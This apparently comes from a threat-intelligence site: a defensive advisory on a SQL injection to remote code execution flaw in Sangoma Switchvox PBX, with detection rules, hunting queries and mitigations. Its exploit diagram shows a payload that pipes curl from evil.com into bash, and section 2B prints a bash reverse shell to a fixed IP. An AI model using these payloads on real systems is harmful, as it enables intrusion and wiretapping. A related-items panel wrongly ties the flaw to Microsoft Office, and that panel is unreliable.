Skip to content
Hermes Codex

CVE-2026-9586: Unauthenticated SQL Injection to Remote Code Execution in Sangoma Switchvox PBX

HERMES

HERMES THREAT SCORE & ENTERPRISE VOIP COMPROMISE

Target: Sangoma Switchvox PBX (SMB Edition)
Confidence: 98%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 19 / 20
Weaponization 20 / 20
Exposure 18 / 20
Prevalence 17 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 19 / 20
⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-9586 at 9.8 (Critical) and CVSS v4.0 at 9.3 (Critical). The Hermes Threat Score assigns 94 (CRITICAL). This aligns with the real-world operational threat: Sangoma Switchvox VoIP appliances are frequently exposed to external SIP and HTTP networks. An attacker dispatches a single unauthenticated XML HTTP request to the /pa endpoint with an injected PhoneIP tag, achieving direct arbitrary PostgreSQL command execution and elevating to root OS shell execution.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-9586: Unauthenticated SQL Injection to Remote Code Execution in Sangoma Switchvox PBXVULNERABILITY

Connected Nodes: 2
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

1. Technical Context & Affected Software Matrix

Section titled “1. Technical Context & Affected Software Matrix”

Sangoma Switchvox is a unified communications and VoIP telephony appliance based on Asterisk and Linux, managing corporate call routing, voicemail, and phone provisioning.

ParameterTechnical SpecificationOperational Context
CVE IdentifierCVE-2026-9586National Vulnerability Database & CISA KEV
Vulnerable ServiceWeb Provisioning API (/pa endpoint)Apache HTTP Server reverse proxy / FastCGI
Target DatabasePostgreSQL 12/13/14 backendCentral Switchvox configuration and CDR store
Network ProtocolHTTP / HTTPS (Ports 80/TCP, 443/TCP)Public or internal VoIP access
Root CauseUnparameterized XML field concatenationSQL Injection (CWE-89)
Affected VersionsSwitchvox SMB Edition 8.3 (build 104997) & earlierAll legacy and unpatched 8.x releases
Patched Version8.4.0.2 (Released July 14, 2026)Official vendor maintenance release
CISA KEV DateAugust 30, 2026Active zero-day and n-day telemetry

2. In-Depth Technical Decomposition: Anatomy of the /pa SQL Injection

Section titled “2. In-Depth Technical Decomposition: Anatomy of the /pa SQL Injection”

A. Vulnerable Code Flow

Section titled “A. Vulnerable Code Flow”

The Switchvox /pa endpoint provides auto-provisioning compatibility for hardware IP phones (such as Polycom VVX handsets). When a phone contacts /pa, it posts XML data identifying its IP address and status:

<PolycomIPPhone>
  <PhoneIP>192.168.1.50</PhoneIP>
  <MAC>0004f2112233</MAC>
</PolycomIPPhone>

In vulnerable versions, the backend PHP/Python handler parses the XML document and directly formats the PhoneIP value into an SQL query string:

# Conceptual representation of the vulnerable routine
phone_ip = xml_tree.find('PhoneIP').text
query = f"SELECT extension, phone_type FROM phone_assignments WHERE ip_addr = '{phone_ip}'"
db.execute(query) # Vulnerable to SQL injection!

Because single quotes and SQL delimiters are not stripped, an attacker can terminate the string literal and stack or union arbitrary SQL statements.

+----------------------------------------------------------------------------------------------------+
|                         CVE-2026-9586 EXPLOIT CHAIN ARCHITECTURE                                  |
+----------------------------------------------------------------------------------------------------+


  [Remote Attacker]                                                      [Sangoma Switchvox PBX]
         │                                                                             │
  [1]    │─── POST /pa HTTP/1.1 ───────────────────────────────────────────────────────>│ XML Parser:
         │    <PolycomIPPhone>                                                         │ Extracts <PhoneIP> without validation
         │      <PhoneIP>'; UPDATE users SET pass_hash=...; --</PhoneIP>               │
         │    </PolycomIPPhone>                                                        │
         │                                                                             │
  [2]    │                                                                             │ PostgreSQL Engine:
         │                                                                             │ Executes stacked query as superuser
         │                                                                             │ Overwrites web admin credentials
         │                                                                             │
  [3]    │─── Second-Stage: Remote Command Execution ─────────────────────────────────>│
         │    <PhoneIP>'; DROP TABLE IF EXISTS cmd;                                    │ PostgreSQL COPY Primitive:
         │    CREATE TABLE cmd(c text);                                                │ Invokes bash reverse shell
         │    COPY cmd FROM PROGRAM 'curl evil.com/r.sh | bash'; --</PhoneIP>          │ with Asterisk / root privileges
         │                                                                             │
  [4]    │<════ Interactive Root C2 Shell Established ═════════════════════════════════│ Host fully compromised
         │                                                                             │ Call recording & VoIP wiretapping
+----------------------------------------------------------------------------------------------------+

B. Exploitation Weaponization: From SQLi to OS Shell

Section titled “B. Exploitation Weaponization: From SQLi to OS Shell”

Because the database user possesses permissions to execute operating system commands or write to local disk paths, attackers transition from SQL injection to full remote code execution via PostgreSQL’s COPY ... FROM PROGRAM construct or by planting cron jobs:

'; COPY (SELECT '') TO PROGRAM 'bash -i >& /dev/tcp/198.51.100.42/4444 0>&1'; --

Adversaries also target the switchvox administration accounts stored in the database, resetting the administrator credentials or injecting backdoor SIP accounts into Asterisk configuration tables to conduct call eavesdropping and toll fraud.

3. Threat Intelligence & CISA KEV In-The-Wild Activity

Section titled “3. Threat Intelligence & CISA KEV In-The-Wild Activity”
  • CISA KEV Integration: Formally cataloged on August 30, 2026, following active exploitation by initial access brokers (IABs) and ransomware affiliates targeting corporate VoIP appliances.
  • Observed Campaign Behaviors:
    • Insertion of rogue SIP extensions used to route high-volume international toll fraud calls.
    • Exfiltration of historical call detail records (CDR) and voicemail recordings containing sensitive business discussions and MFA audio tokens.
    • Establishment of persistent SSH keys and reverse socks proxies for lateral movement into internal corporate subnets.

4. MITRE ATT&CK Mapping

Section titled “4. MITRE ATT&CK Mapping”
TacticTechnique IDTechnique NameOperational Mapping
Initial AccessT1190Exploit Public-Facing ApplicationUnauthenticated POST request to /pa
ExecutionT1059.004Command and Scripting Interpreter: Unix ShellExecution via PostgreSQL FROM PROGRAM
PersistenceT1136.001Create Account: Local AccountInsertion of backdoor admin and SIP users
CollectionT1125Video / Audio CaptureInterception of VoIP audio and call recordings
Lateral MovementT1021.004Remote Services: SSHPivoting from PBX into internal IT network

5. Detection Engineering & Telemetry

Section titled “5. Detection Engineering & Telemetry”

A. Suricata Detection Signature

Section titled “A. Suricata Detection Signature”
alert http any any -> $HTTP_SERVERS any (
  msg:"HERMES DEFENSE - Sangoma Switchvox /pa SQL Injection Attempt (CVE-2026-9586)";
  flow:established,to_server;
  http.method; content:"POST";
  http.uri; content:"/pa";
  http.request_body; content:"<PolycomIPPhone>"; fast_pattern;
  http.request_body; content:"<PhoneIP>";
  http.request_body; pcre:"/<PhoneIP>[^<]*(\'|--|;|UNION|SELECT|COPY|FROM\s+PROGRAM)/is";
  classtype:web-application-attack;
  sid:20269586;
  rev:1;
  reference:cve,2026-9586;
)

B. Sigma Detection Rule

Section titled “B. Sigma Detection Rule”
title: Sangoma Switchvox Unauthenticated SQL Injection via /pa
id: c4d5e6f7-9586-4f11-a832-cve20269586
status: production
description: Detects exploitation attempts against Sangoma Switchvox /pa endpoint with SQL injection payloads
author: Hermes Codex Cyber Defense Team
date: 2026-09-11
logsource:
  category: webserver
  service: apache_access
detection:
  selection:
    cs_method: 'POST'
    cs_uri_stem: '/pa'
  payload_indicators:
    cs_uri_query|contains:
      - 'UNION'
      - 'SELECT'
      - 'COPY'
      - 'PROGRAM'
      - '%27'
  condition: selection and payload_indicators
fields:
  - c_ip
  - cs_uri_stem
  - sc_status
falsepositives:
  - None expected for /pa with SQL keywords
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.9586

6. DFIR Forensics & Hunting Queries

Section titled “6. DFIR Forensics & Hunting Queries”

Key Forensics Checkpoints:

Section titled “Key Forensics Checkpoints:”
  1. Web Server Logs (/var/log/httpd/ or /var/log/nginx/): Inspect POST requests to /pa originating from non-phone subnets.
  2. PostgreSQL Logs (/var/log/postgresql/): Search for syntax errors or anomalous execution queries containing FROM PROGRAM or unexpected UPDATE commands on user tables.
  3. Asterisk Configuration Files: Audit /etc/asterisk/extensions.conf and database tables for unauthorized extensions created after July 2026.

Threat Hunting Query (Splunk):

Section titled “Threat Hunting Query (Splunk):”
index=web sourcetype=access_combined uri_path="/pa" method="POST"
| rex field=_raw "<PhoneIP>(?<phone_ip>[^<]+)</PhoneIP>"
| where match(phone_ip, "(?i)(SELECT|UNION|COPY|PROGRAM|;|--|')")
| table _time, clientip, phone_ip, status

7. Mitigation & Hardening Roadmap

Section titled “7. Mitigation & Hardening Roadmap”
  1. Apply Firmware Patch: Immediately upgrade Switchvox to version 8.4.0.2 or higher.
  2. Perimeter Firewall Filtering: Do not expose ports 80/TCP, 443/TCP, or 5060/UDP directly to the public internet; restrict access strictly to known carrier SIP trunks and corporate office IP blocks.
  3. Database Privilege Segregation: If utilizing custom database interfaces, ensure the web application user lacks PostgreSQL superuser (SUPERUSER) and pg_execute_server_program role privileges.
  4. SIP Credential Audit: Rotate all administrative and SIP user credentials across the PBX infrastructure.

8. References & Advisories

Section titled “8. References & Advisories”